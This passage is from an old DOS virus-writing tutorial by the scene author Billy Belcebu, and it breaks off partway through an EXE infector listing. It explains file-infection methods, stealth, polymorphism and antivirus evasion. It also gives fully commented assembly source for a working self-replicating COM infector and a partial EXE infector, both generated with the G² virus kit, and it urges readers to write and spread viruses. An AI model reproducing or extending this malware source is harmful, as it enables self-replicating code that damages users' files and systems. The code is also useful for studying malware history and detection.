Billy Belcebu Virus Writing Guide 1.04

>     ---| Disclaimer |------------------------------------------------------------

>      The autor  of this document isn't responsible of any kind of damage that co-
>      uld be made with the bad  use of this information. The objective of this tu-
>      torial is to teach  people how  to create  and defend againist the attack of
>      a lame YAM virus :) This tute is for educational purposes only. So, lawyers,
>      i don't give a shit if a lamer takes  this information and makes destructive
>      viruses. And if through  this document you see  anywhere that i encourage to
>      destroy or corromp data, go directly to buy glasses.

>     ---| Presentations |---------------------------------------------------------

>      Welcome the Billy Belcebu's Virus Writing Guide. This  document is dedicated
>      to my master, zAxOn, my  mentor from  the days when i asked him what was ARJ
>      passing through the day when  he lend me the TP5, and taught me all he knew,
>      till my first  steps in Assembly. It's also dedicated to the ppl who want to
>      leave to be lamer, and  want to  join the " good scene ". I don't forget the
>      author of a lot of great documents, Dark Angel ( member of the  extinct pio-
>      neer cool group called Phalcon/Skism ), cause  his tutorials taught me in my
>      early stages. Of  course, to  The Offspring, Marilyn Manson, Blind Guardian,
>      Stratovarius and  Metallica ( I hear another groups, but these  are the best
>      ones ) cause with their music i'm  writing this  lines. Hope  you  like this
>      beginner's guide, probably my last tribute for DOS viruses.

>      NOTE: English ain't my first language ( it's spanish ), so excuse me for all
>      my misspells  i made ( a lot of ), and notify me  them for  later updates of
>      this document.

>      --- Contact me

>      + E-mail                                           billy_belcebu@hotmail.com
>                                                         billy_belcebu@cryogen.com
>      + ICQ                                                             # 22290500
>      + Personal web page                        http://members.xoom.com/billy_bel
>                                              http://www.cryogen.com/billy_belcebu
>      + Group web page                           http://sourceofkaos.com/homes/ddt
>      + IRC [Billy_Bel]                          Undernet #vir, Irc-Hispano #virus

>      Have phun!

>      Billy Belceb£,
>      mass killer and ass kicker.

>     ---| Useful software for virus coding |--------------------------------------

>      You need some things  before start writing virii. Here you have the programs
>      i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :)

>      + Borland Turbo Assembler 3.1 will be enough for dos viruses
>      + Borland Turbo Link 5.1
>      + SoftIce debugger, Borland Turbo Debug 3.1, AVP debugger, or dos debug even
>      + The text editor you like more ( QuickEdit should be a good choice )
>      + Some  virus sources ( from  old viruses  like stoned  to the coolest, like
>        Zhengxi, Onehalf, Cabanas, Esperanto... )
>      + Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... )
>      + Utilities that can show you memory dumps and else, like Norton Utilities
>      + The Ralf Brown's Interrupt list
>      + Some assembler books ( for doubts and this kinda things ) :)
>      + Some AVs ( in order to see if our virii is detected heuristically )
>      + Of course, this document ;)

>      I hope i don't forget any important thing.

>     ---| Some useful theory |----------------------------------------------------

>      A virus is a program ussually  coded in assembler ( but can also be coded in
>      other languages, like PASCAL and C ) that  spreads copies of itself to other
>      executables and/or another  things like boot sectors or MBRs. The  assembler
>      ain't as " diabolic " as some people say, believe me :)

>      Well, i hope you have noted that i don't mention anywhere the macro viruses:
>      if you wanna learn something, i think that the best thing you could do is to
>      write viruses in assembler.

>      A virus  attaches itself at  end of  the victim ( the 80% of viruses ), take
>      advantage of  the MS-DOS feature  of executing  first a COM than  a EXE file
>      ( companion viruses ), don'tincrease the size ( guest infectors and overwri-
>      ting virii ), EXE header viruses, midfile infectors, install in boot, in MBR
>      And with the compression  engines... a  virus can  decrease  the size of the
>      victim after infection!!! ;) Hope to see soon a virus like this (Supeeeer ;)
>      Let's see how a virus of the first kind works with some nice graphics ;)

>      .--------------. .-------------.          .--------------.<.
>      |              | |             |        .-|JMP VIRUS|    | |
>      |              | |    VIRUS    |        | |---------'    | |
>      |     FILE     |+|             | -------->|     FILE     | |
>      |              | '-------------'        | |              | |
>      |              |                        | |              | |
>      '--------------'                        '>|--------------| |
>                                                |              | |
>                                                |    VIRUS     | |
>                                                |              | |
>                                                '--------------'-'

>      Viruses ussually follow the same steps:
>      1. Locate the file to infect ( Waiting till opening or something, or seeking
>         throught directories )
>      2. Check if it's already infected
>      3. If yes, skip it.
>      4. Save file date/time
>      5. Put a jump to our code saving the first bytes
>      6. Append the virus body
>      7. Restore file date/time

>      It's very simple as you can see, but  they use different ways  for arrive to
>      the below point. I'll explain it later.

>      Another type  of infection can  be also made, but it's more slow, because we
>      have to take all guest code, save it  in a  temporal place, write  the virus
>      code, and after our code, the guest original code. Let's see:

>      .--------------. .-------------.          .--------------.
>      |              | |             |          |              |
>      |              | |    VIRUS    |          |    VIRUS     |
>      |     FILE     |+|             | ------>  |              |
>      |              | '-------------'          |--------------||
>      |              |                          |              |v
>      '--------------'                          |              |
>                                                |     FILE     |
>                                                |              |
>                                                |              |
>                                                '--------------'

>      The worst viruses in the world are the overwriting ones. They're so destruc-
>      tive, and the  infection is easily  detected, cause  they don't  execute the
>      guest ( they can't be operative coz the infection method ), they only execu-
>      tes their own body. Let's see a graphic.

>      .--------------. .-------------.          .--------------.
>      |              | |             |          |              |
>      |              | |    VIRUS    |          |    VIRUS     |
>      |     FILE     |+|             | ------>  |              |
>      |              | '-------------'          |--------------|
>      |              |                          |              | <----- The file
>      '--------------'                          '--------------' never more run :(

>      A really good  idea is  the mid-file infection, probably one of the best me-
>      thods for infect: viruses more  hard to remove, emulate... They simply write
>      itself to a random offset on the host, and we give'em the control there.

>      .--------------. .-------------.          .--------------.<.
>      |              | |             |        .-|JMP VIRUS |   | |
>      |              | |    VIRUS    |        | |----------'   | |
>      |     FILE     |+|             | -------->|   FILE (I)   | |
>      |              | '-------------'        '>|--------------| |
>      |              |                          |              | |
>      '--------------'                          |    VIRUS     | |
>                                                |              | |
>                                                |--------------|-'
>                                                |   FILE (II)  |
>                                                |--------------|
>                                                |  SAVED DATA  |
>                                                | OVERWRITTEN  |
>                                                | BY THE VIRUS |
>                                                '--------------'

>      In fact, there is  a method that comes from this one, that mainly is to find
>      "holes" in the executable  file, such as  big data zones. Let's see a little
>      diagram for this ones.

>      .--------------. .-------------.          .--------------.<.
>      |              | |             |        .-|JMP VIRUS |   | |
>      |              | |    VIRUS    |        | |----------'   | |
>      |     FILE     |+|             | -------->|   FILE (I)   | |
>      |              | '-------------'        '>|--------------| |  .
>      |              |                          |              | |  | Was a
>      '--------------'                          |    VIRUS     | |  | data area
>                                                |              | |  | w/constant
>                                                |--------------|-'  ' value.
>                                                |   FILE (II)  |
>                                                |              |
>                                                '--------------'

>      Of course, there're more and more infection methods, but this is a guide for
>      beginners... never forget it :) And that are demonstration diagrams...

>      A virus have some different phases:

>      + INFECTION: A virus arrive to an unsuspecting guy, inside a file ( via dis-
>        quettes, e-mail... ) or boot sectors ( disquettes... ). The user  executes
>        the  virus without  know it,  and then is when the creature takes the con-
>        trol of the system ( instead the user ) ;)

>      + I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user,
>        lives very happy, lending programs to his/her friends, infecting them, and
>        all this stuff. And the virus quickly infects more and more people.

>      + PAYLOAD: After a decisive situation, the virus show its presence. The pay-
>        load can  be destructive  or not ;)  In my humble opinion, the destruc-
>        tive payloads are only made by the lamers, this  scum who enjoy destroying
>        other computers, and with the well know attitude of a dickhead. The better
>        payloads are the original ones, coz they make the user to feel astonished.
>        Of course, there're virus  without a payload, that don't do anything besi-
>        des replicate (Hi Patty Bitchman!).

>      In this tutorial i will talk about some other interesting stuff like:

>      + ARMOURING: I really  LOVE this  stuff. It's  ussually used  for  avoid the
>        debugging/dissasembling of our virus for any undesirable guy. Well, a good
>        VXer  can dissasemble  whatever he/she ( ? ) wants to. You have an example
>        in Tcp/29A and Darkman/29A...

>      + STEALTH: The  concealment method  for excelence. There're a lot of methods
>        for  make  stealth ( FCB, Handles,  SFT, Disinfection-on-the-fly... ) I'll
>        explain some of these things. This consists in make  the user think  there
>        isn't any kind of infection, returning him the same file size that was be-
>        fore the infection, disinfecting the file before it's opened...

>      + ENCRYPTION: This method  consist in  the cypher of the main virus body, so
>        the strings we can have as copyright can't be seen by a  suspecting guy ;)
>        It's really  an old technique, but  nowadays is still used ( but with some
>        things that change, see the next point ). Uses  mathematic operations  for
>        perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )

>      + POLYMORPHISM: An  extension of  the encryption  in order to avoid AVs. The
>        objective  is generate  different decryption  routines each  time for make
>        impossible the scan of the virus, or minimize the possible scan strings :)

>      + ANTI-HEURISTIC: Heuristic  scanners aren't  as trustables like some people
>        say. I'll demonstrate that the heuristic aren't as safe as they seem. This
>        stuff are some tricks you can use for avoid flags.

>      + TUNNELING: This  stuff  is used  for obtain  the " real " INT 21h vectors,
>        bypassing the TSR watchdogs, and all that's in our way.

>      + ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one
>        of the TSR watchdog's enemy. It's  also cool for  stop the  steps of other
>        viruses that are trying to get _OUR_ INT21h :)

>      + ANTI-BAIT: Baits ( aka sacrifical goats ) are what AV uses for make multi-
>        ple  infections in a  lot of files, trying  to get  a scan  string for our
>        virus ( and with it, our mutation engine )... and, we  want this? NO! I'll
>        explain the most used methods for don't infect this non-sense programs.

>      + OPTIMIZATION: The better viruses are the ones that do a lot of thing using
>        very few bytes. In  this little  chapter you'll  see how to do some things
>        using less bytes.

>     ---| First steps, RUNTIME viruses |------------------------------------------

>      There're some methods for a success infection. Now I'll explain the most old
>      ones, the  RUNTIME ( aka  direct action ). Nowadays, no  one makes a runtime
>      infector, because they're slooooooow, and their presence is quickly detected
>      by  a middle-interested  user. But... don't  be afraid! This method is  very
>      simple, and all the people  now in the scene, made  their first steps with a
>      runtime com infector. This method is  only for your  first contact with  the
>      virus  developing. A runtime virus  consist in  a program  that searches for
>      files  using a  wildcard ( "*.com","*.exe","*.*"... ) and using  the DOS-API
>      ( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ).
>      It can also enter in another directories than the actual one for perform its
>      infection. Ussually  this kinda viruses infects COM and EXE, but we can also
>      infect SYS, OBJ, ZIP... but for  this i'd need  another  tutorial, and... do
>      you remember this is for beginners? ;)

>      % COM infection %
>      -----------------

>      The easiest, as you  can imagine is  the COM infection. It's the first thing
>      you must  understand, coz the infection ( not the way used to arrive there )
>      is more or less, the same stuff in all kinda viruses ( TSR and so on ):

>      1. Open file
>      2. Save time/date/attributes
>      3. Store first ( ussually 3 ) bytes
>      4. Calculate the new jump
>      5. Put it
>      6. Append main virus body
>      7. Restore time/date/attributes
>      8. Close file

>      You must remember that a COM file look is the same in the physical code than
>      in the memory ( COM = Copy Of Memory ). DOS  gives all the  available memory
>      to the COM file. Let's see how  is a COM program when it's loaded in memory:

>      .-----------------------------------. <------ CS = 0000h
>      |  Program Segment Prefix ( PSP )   |     |-- DS = 0000h
>      |       100h bytes ( 256d )         |     |-- ES = 0000h
>      |-----------------------------------| <-. '-- SS = 0000h
>      |      Program Code and Data        |   '- CS:IP = 0100h
>      |                                   |
>      |                                   |
>      |                                   |     .-- CS = FFFFh (*) The stack grows
>      |                                   |     |-- DS = FFFFh     backwards, from
>      |              Stack                |    .--- ES = FFFFh     bottom to top.
>      '-----------------------------------' <--' SS:SP = FFFFh

>      The COM files  can only have the size of a segment ( FFFFh bytes ) less 100h
>      bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem.
>      We must save more space  for let the stack grow what we need ( every time we
>      make a PUSH and we forget the POP, the stack grows, and if it grows too much
>      it'll finish trashing our program ). I'll leave at least 100h more bytes for
>      stack. Ok ? :)

>      It's very easy to understand... and it's LOGIC!!! ;)
>      Talking about logic things... I think it is a good time for practice the COM
>      infection. It's a  LAME  virus. LAME? Only? More  than this : the LAMEST! ;)
>      But this is a beginners documment, and i must make it! Althougth it fuck me!
>      Well, i don't kill my  mind programming  some stuff like that, althougth i'd
>      spend  only 5 minutes in  coding my own :) ( spend time? just WASTE time! :)

>     ;---[ CUT HERE ]-------------------------------------------------------------
>     ; A very lame virus. Don't compile. Don't distribute.
>     ; If you make a copy of this... you'll be LAME!
>     ; But  i hope it'll  help you in  order to become a VXer from the first steps
>     ; to  the GIANT ones ;) And then you'll have to send me greets :)
>     ; I hate  to code my  own runtime virus ( 5 minutes for  write a shit, please
>     ; believe  me, is very boring and a WASTE of time ) so I used Dark Angel's Gý
>     ; Sorry, i'm a goddamn lazy :)
>     ;
>     ; Assemble with: TASM /m3 lame.asm
>     ; Link with:     TLINK /t lame.obj

>     ; Virus generated by Gý 0.70á ( Look, I didn't removed signatures. This ain't
>     ; mine! The lamest  thing you can do is remove signatures. Don't forget it! )
>     ; Gý written by Dark Angel of Phalcon/Skism

>     ; File: LAME.ASM

>             .model  tiny
>             .code

>             org     0100h

>     carrier:
>             db      0E9h,0,0                ; jmp start

>     start:
>             mov     bp, sp                  ; Antidebugging get ë offset!
>             int     0003h                   ; Int for breakpoints
>     next:
>             mov     bp, ss:[bp-6]
>             sub     bp, offset next

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; Let's see. When  we infect a file  ALL offsets get moved exactly da size of
>     ; guest, so we  choice a register ( ussually BP or SI ) and  we put in it the
>     ; size of the file with this simple thing, and each time we use a variable or
>     ; something, we MUST add the register used as ë-offset ( here BP )
>     ;----------------------------------------------------------------------------

>             mov     dl, 0000h               ; Default drive
>             mov     ah, 0047h               ; Get directory
>             lea     si, [bp+offset origdir+1]
>             int     0021h

>             lea     dx, [bp+offset newDTA]
>             mov     ah, 001Ah               ; Set DTA
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The  first block stores the current directory in a variable for l8r return.
>     ; Take a look to the zone  of this document where  are the DTA structure. The
>     ; DTA ( Disk  Transfer Address ) begins  in the byte 80h of the PSP ( Program
>     ; Segment Prefix ) where also resides the command line. And you wonder why...
>     ; What happens when  we use the DTA with the  command line? That's the reason
>     ; of storing the DTA ( Besides for our own use, of course ) ;)
>     ;----------------------------------------------------------------------------

>     restore_COM:
>             mov     di, 0100h
>             push    di
>             lea     si, [bp+offset old3]
>             movsb                           ; Move first byte
>             movsw                           ; Move next two

>             mov     byte ptr [bp+numinfect], 0000h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This routine restores the 3 original first bytes of the infected com, loca-
>     ; ted  above offset 100h, and  also saves  this offset  in DI  for later use.
>     ; The  last line setups  the actual number of infections to 0 ( the couter ).
>     ;----------------------------------------------------------------------------

>     traverse_loop:
>             lea     dx, [bp+offset COMmask]
>             call    infect
>             cmp     [bp+numinfect], 0003h
>             jae     exit_traverse           ; exit if enough infected

>             mov     ah, 003Bh               ; CHDIR
>             lea     dx, [bp+offset dot_dot] ; go to previous dir
>             int     0021h
>             jnc     traverse_loop           ; loop if no error

>     exit_traverse:

>             lea     si, [bp+offset origdir]
>             mov     byte ptr [si], '\'
>             mov     ah, 003Bh               ; restore directory
>             xchg    dx, si
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; All we do here  is infect all files in the directory, and we end with this,
>     ; we change directory to ..
>     ; And when there aren't more directories we restore the old when we were.
>     ;----------------------------------------------------------------------------

>             mov     dx, 0080h               ; in the PSP
>             mov     ah, 001Ah               ; restore DTA to default
>             int     0021h

>     return:
>             ret

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This will restore the taken DTA to  its original address, in the offset 80h
>     ; at the Program Segment Prefix ( PSP ), and then  return to original  offset
>     ; 100h, for execute the file normally ;)  ( Remember we pushed di when it was
>     ; equal to 100h )
>     ;----------------------------------------------------------------------------

>     old3            db      0cdh,20h,0

>     infect:
>             mov     ah, 004Eh               ; find first
>             mov     cx, 0007h               ; all files
>     findfirstnext:
>             int     0021h
>             jc      return

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; In this  code all  we do  is search in  the current directory for the files
>     ; matching with the wildcard in DX ( in this example "*.COM" ), with any kind
>     ; of attributes.
>     ; Old3 is the var that handles the first 3 bytes of  the actual infected COM.
>     ; If there isn't matching files, a carry flag is returned and then we jump to
>     ; a routine  that returns the  control to  the main  program. If  we found at
>     ; lest one of them, we jump to  the following  code, and when finish this, we
>     ; look for another file
>     ;----------------------------------------------------------------------------

>             cmp     word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
>             mov     ah, 004Fh               ; Set up find next
>             jz      findfirstnext           ; Exit if so

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This is for not infect  the command.com, checking if file has in pos name+5
>     ; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! )
>     ;----------------------------------------------------------------------------

>             lea     dx, [bp+newDTA+30]
>             mov     ax, 4300h
>             int     0021h
>             jc      return
>             push    cx
>             push    dx

>             mov     ax, 4301h               ; clear file attributes
>             push    ax                      ; save for later use
>             xor     cx, cx
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first  block has a  double function: stores the  file attributes of the
>     ; file for later restore, and also check if file exists or there's a problem.
>     ; The second one save in stack 4301h ( function for put attributes ) and also
>     ; clear file of undesirable attributes like read-only :)
>     ;----------------------------------------------------------------------------

>             lea     dx, [bp+newDTA+30]
>             mov     ax, 3D02h               ; Open R/O
>             int     0021h
>             xchg    ax, bx                  ; Handle in BX

>             mov     ax, 5700h               ; get file time/date
>             int     0021h
>             push    cx
>             push    dx

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first  block opens the  file in read/write mode, and  the put  the file
>     ; handle in BX, where it'll be more useful.
>     ; The second block  of instructions get  the file date and time and then save
>     ; them in the stack.
>     ;----------------------------------------------------------------------------

>             mov     ah, 003Fh
>             mov     cx, 001Ah
>             lea     dx, [bp+offset readbuffer]
>             int     0021h

>             xor     cx, cx
>             xor     dx, dx
>             mov     ax, 4202h
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first  block reads 1Ah bytes ( 26 ) into  the variable  readbuffer, for
>     ; later  comparations. The second block  moves the file pointer to the end of
>     ; the file for  two reasons: file size  will be put in AX, and  we need to be
>     ; there for append
>     ;----------------------------------------------------------------------------

>             cmp     word ptr [bp+offset readbuffer], "ZM"
>             jz      jmp_close

>             mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
>             add     cx, heap-start+3        ; convert to filesize
>             cmp     ax, cx                  ; equal if already infected
>             jl      skipp
>     jmp_close:
>             jmp     close

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The  first block  compares the two  first bytes  of the  opened COM file in
>     ; order to see if it's a misnamed EXE ( remember the words must be in reverse
>     ; order ). The second block check for previous infection, comparing the virus
>     ; size + the guest ( before be infected ) size with the guest actual size.
>     ;----------------------------------------------------------------------------

>     skipp:

>             cmp     ax, 65535-(endheap-start) ; check if too large
>             ja      jmp_close               ; Exit if so

>             lea     di, [bp+offset old3]
>             lea     si, [bp+offset readbuffer]
>             movsb
>             movsw

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first block of instructions check the size of the COM, to see if we can
>     ; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it
>     ; is, the PSP and/or stack will corromp the code.
>     ; The second block moves the values of old3 ( 3 bytes ) var to readbuffer.
>     ;----------------------------------------------------------------------------

>             sub     ax, 0003h               ; Virus_size-3 ( jump size )
>             mov     word ptr [bp+offset readbuffer+1], ax
>             mov     dl, 00E9h               ; Opcode of jmp
>             mov     byte ptr [bp+offset readbuffer], dl

>             lea     dx, [bp+offset start]   ; The beginning of what append
>             mov     cx, heap-start          ; Size to append
>             mov     ah, 0040h               ; concatenate virus
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first  block calculates  the jump to the virus code and then stores the
>     ; result in a variable. The second block append the virus to the guest :)
>     ;----------------------------------------------------------------------------

>             mov     ax, 4200h
>             xor     dx, dx
>             xor     cx, cx
>             int     0021h

>             mov     cx, 0003h
>             lea     dx, [bp+offset readbuffer]
>             mov     ah, 0040h
>             int     0021h

>             inc     [bp+numinfect]

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first block moves the file pointer to the beginning of da file, and the
>     ; second one writes the jump to the virus code there.
>     ; The third increases  the variable that holds the number of succesful infec-
>     ; tions already made
>     ;----------------------------------------------------------------------------

>     close:
>             mov     ax, 5701h               ; restore file time/date
>             pop     dx
>             pop     cx
>             int     0021h

>             mov     ah, 003Eh
>             int     0021h

>             pop     ax                      ; restore file attributes
>             pop     dx                      ; get filename and
>             pop     cx                      ; attributes from stack
>             int     0021h

>             mov     ah, 004Fh               ; find next
>             jmp     findfirstnext

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first  block of instruction restore the time and date of file stored in
>     ; the DTA. And the second closes the file and the third one restore old attrs
>     ; of the infected file.
>     ; The last one put in  AX the function  FindNext of DOS, and  jumps to search
>     ; for more files to infect.
>     ;----------------------------------------------------------------------------

>     signature       db      "[PS/Gý]",0     ; Phalcon/Skism Gý ( old!! )
>     COMmask         db      "*.COM",0       ; Must be ASCIIZ ( Ascii string,0 )
>     dot_dot         db      "..",0          ; Directory to change

>     heap:                                   ; this data goes in heap
>     newDTA          db      43 dup (?)      ; DTA size, 2Bh
>     origdir         db      65 dup (?)      ; Where to store old directory
>     numinfect       db      ?               ; Handles the number of infections
>     readbuffer      db      1ah dup (?)     ; Buffer
>     endheap:
>     end     carrier
>     ;---[ CUT HERE ]-------------------------------------------------------------

>      It's very simple all this, as you can see. And this code is FULLY commented.
>      If you still  don't understand this, don't change  chapter, re-read  all the
>      COM infection!!!. But... a virus that  only infect COMs... and runtime maybe
>      would be cool 6 or 7 years ago, but nowadays  it's horrible! Before spread a
>      runtime  virus now, i  recommend you  to wait  some time. Some  months could
>      be enough in order to have a  better knowledge of assembler language, and if
>      you dedicate  some time for  improve your skills, you'll  make a TSR COM/EXE
>      infector with full stealth and nice tricks in some months more.

>      ENUNS
>      -----

>      Well, the goddamn  Win95 has a lot of COM files, interesting huh? They're so
>      far the most used, but there's  a problem. If we infect  them normally, they
>      hang :( The solution if to  save the last seven bytes of the file at the end
>      of the file, adding the virus size to the last two.

>      Last words
>      ----------

>      Don't hear  the insults of another  VXers about your  first steps  here, and
>      your viruses. Sometimes some of this people ( they're few guys, ussually all
>      people in the scene in very kind ) forget their first steps were like yours,
>      believing theirselves god, as some AVers dickeads do. Pathetic.

>      I'll stop talking about this  suckers who forget their roots, and let's talk
>      about the EXE infection.

>      % EXE infection %
>      -----------------

>      The first  you must  know is that  the EXE infection  is different  than COM
>      infection ( i  think you're intelligent and  you know this ;) ) The EXEs can
>      be bigger in size, and they have a HEADER ( I think  the most important part
>      infecting EXEs is  manipulate that header ) that contains some useful values
>      for infection like the CS:IP ( stored in  reverse order IP:CS ) ,SS:SP ( NOT
>      stored in reverse order!!! ), File  size in paragraphs and all other things.
>      Here you have the header structure:

>      .-----------------------------------. <--- +0000h
>      |    EXE file mark ( ZM or MZ )     |            Size : 1 WORD
>      |-----------------------------------| <--- +0002h
>      |    Bytes in last page of image*   |            Size : 1 WORD
>      |-----------------------------------| <--- +0004h
>      |          Number of pages*         |            Size : 1 WORD
>      |-----------------------------------| <--- +0006h
>      |    Number of relocation items     |            Size : 1 WORD
>      |-----------------------------------| <--- +0008h
>      | Size of the header in paragraphs  |            Size : 1 WORD
>      |-----------------------------------| <--- +000Ah
>      |      MinAlloc in paragraphs       |            Size : 1 WORD
>      |-----------------------------------| <--- +000Ch
>      |      MaxAlloc in paragraphs       |            Size : 1 WORD
>      |-----------------------------------| <--- +000Eh
>      |            Initial SS*            |            Size : 1 WORD
>      |-----------------------------------| <--- +0010h
>      |            Initial SP*            |            Size : 1 WORD
>      |-----------------------------------| <--- +0012h
>      |        Negative checksum          |            Size : 1 WORD
>      |-----------------------------------| <--- +0014h
>      |            Initial IP*            |            Size : 1 WORD
>      |-----------------------------------| <--- +0016h
>      |            Initial CS*            |            Size : 1 WORD
>      |-----------------------------------| <--- +0018h
>      |            Relocations            |            Size : 1 WORD
>      |-----------------------------------| <--- +001Ah
>      |             Overlays              |            Size : 1 WORD
>      |-----------------------------------| <--- +001Ch
>      |         Reserved / Not used       |            Size : 1 DWORD?
>      '-----------------------------------'                   ---------
>                                                 Total Size : VARIABLE!

>      (*) The fields marked need to be modified at infection

>      The EXE  files can have  more than one  segment ( one for code, one for data
>      and another for stack -> CS,DS,SS in order of appereance :)

>      The EXE's header  is generated by the  linker. The user don't give a shit :)
>      When DOS loads the EXE into memory, it looks like this:

>      .-----------------------------------. <------ ES = 0000h
>      |  Program Segment Prefix ( PSP )   |     '-- DS = 0000h
>      |       100h bytes ( 256d )         |
>      |-----------------------------------| <--- CS:IP ( pointed by header )
>      |                                   |
>      |    Program Code Segment ( CS )    |
>      |                                   |
>      |-----------------------------------|
>      |                                   |
>      |    Program Data Segment ( DS )    |
>      |                                   |
>      |-----------------------------------| <------ SS = 0000h
>      |                                   |
>      |   Program Stack Segment ( SS )    |
>      |                                   |
>      '-----------------------------------' <--- SS:SP ( pointed by header )

>      As  you can see, in the  EXE files there isn't the problem existing in COMs.
>      For  our stack  needs ( PUSH and POP ) we  have an entire  segment! It still
>      grows backwards ( from bottom to top ).

>      Let's see da algorithm you must follow for yer EXE infector ( step by step )

>      1.  Open the file ( wow, genius! ) for read only
>      2.  Read the first 1A bytes ( 26d )
>      3.  Store them in a variable
>      4.  Close file
>      5.  Check the first word for mark ( MZ, ZM )
>      6.  If it's equal, continue, if not goto 16
>      7.  Check for previous infection
>      8.  If ain't infected, continue, if it's already infected goto 17
>      9.  Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring
>      10. For the same purpose, save SS:SP ( this order )
>      11. Calculate new CS:IP and SS:SP
>      12. Modify the bytes in the last page and the number of pages
>      13. Open again ( but in read/write mode )
>      14. Write the header
>      15. Move file pointer to the end
>      16. Append the virus body
>      17. Close file

>      Of course, you change  some things to this, like  open only one time for r/w
>      mode. Beware of  infected EXEs SP. SP ain't  even in normal EXEs ( could be,
>      but it'll trigger an heuristic flag! ). So, pay attention.

>      I don't wanna bore you  with more theorical shit, and remember that the best
>      way to learn to code viruses is to  see source codes of another viruses. And
>      it's good to see what i've just explained you :)

>     ;---[ CUT HERE ]-------------------------------------------------------------
>     ; I'll put  code of my own when we arrive to more funny chapters. Until then,
>     ; you must fuck you seeing code generated by Gý :)
>     ;
>     ; Assemble with: TASM /m3 lame.asm
>     ; Link with:     TLINK /t lame.obj

>     ; Virus generated by Gý 0.70á
>     ; Gý written by Dark Angel of Phalcon/Skism

>     id              =       ';)'

>             .model  tiny
>             .code
>             org     0100h

>     start:
>             call    next
>     next:
>             pop     bp
>             sub     bp, offset next

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This  is the  most common way to find the delta offset ( if you still don't
>     ; know what is the delta offset, kill yourself )
>     ;----------------------------------------------------------------------------

>             push    ds
>             push    es
>             push    cs
>             pop     es                      ; CS = ES
>             push    cs
>             pop     ds                      ; CS = ES = DS

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This AIN'T  a COM! Remember  it. The EXEs  are more powerful ( and a little
>     ; bit more hard to infect ) When we execute an EXE, each  segment is pointing
>     ; to a  different offset, so we  need to  adjust them. Remember we  can't put
>     ; something like " mov es,ds ", so there's a little trick to do this. Use the
>     ; stack :)
>     ;----------------------------------------------------------------------------

>             mov     ah, 001Ah               ; Set DTA
>             lea     dx, [bp+offset newDTA]
>             int     0021h

>             mov     ah, 0047h               ; Get directory
>             lea     si, [bp+offset origdir+1]
>             cwd                             ; Default drive
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; Do you remember our old friend, the DTA ? I hope da answer will be yes, coz
>     ; it's not, re-read the full document, goddamit!
>     ; And the second routine is also a well know one. This stuff is already seen.
>     ;----------------------------------------------------------------------------

>             lea     di, [bp+offset origCSIP2]
>             lea     si, [bp+offset origCSIP]
>             movsw
>             movsw
>             movsw
>             movsw

>             mov     byte ptr [bp+numinfect], 0000h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; Hey! Some  new stuff! Well, the first block is for the later restore of the
>     ; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr...
>     ; I'm gonna  explain you, but for  another doubts... BUY AN ASSEMBLER BOOK!!!
>     ; MOVSW moves a  word from  DS:SI to ES:DI ( MOVSB  does the same  but with a
>     ; byte ) We make this because we have two double words. Wa can also put some-
>     ; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD.
>     ;----------------------------------------------------------------------------

>     traverse_loop:
>             lea     dx, [bp+offset EXEmask]
>             call    infect
>             cmp     [bp+numinfect], 0003h
>             jae     exit_traverse           ; exit if enough infected

>             mov     ah, 003Bh               ; CHDIR
>             lea     dx, [bp+offset dot_dot] ; go to previous dir
>             int     0021h
>             jnc     traverse_loop           ; loop if no error

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; It's a pain to explain routines already explained before...
>     ;----------------------------------------------------------------------------

>     exit_traverse:

>             lea     si, [bp+offset origdir]
>             mov     byte ptr [si], '\'
>             mov     ah, 003Bh               ; restore directory
>             xchg    dx, si
>             int     0021h

>             pop     es                      ; ES = DS
>             pop     ds

>             mov     dx, 0080h               ; in the PSP
>             mov     ah, 001Ah               ; restore DTA to default
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; Already explained in COM infection
>     ;----------------------------------------------------------------------------

>     restore_EXE:
>             mov     ax, ds
>             add     ax, 0010h
>             add     cs:[bp+word ptr origCSIP2+2], ax
>             add     ax, cs:[bp+word ptr origSPSS2]
>             cli
>             mov     ss, ax
>             mov     sp, cs:[bp+word ptr origSPSS2+2]
>             sti
>             db      00EAh                           ; jmp far opcode
>     origCSIP2       dd      ?
>     origSPSS2       dd      ?
>     origCSIP        dd      0fff00000h
>     origSPSS        dd      ?

>     return:
>             ret

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This is the way used to restore the guest EXE. Take a look to the instruct-
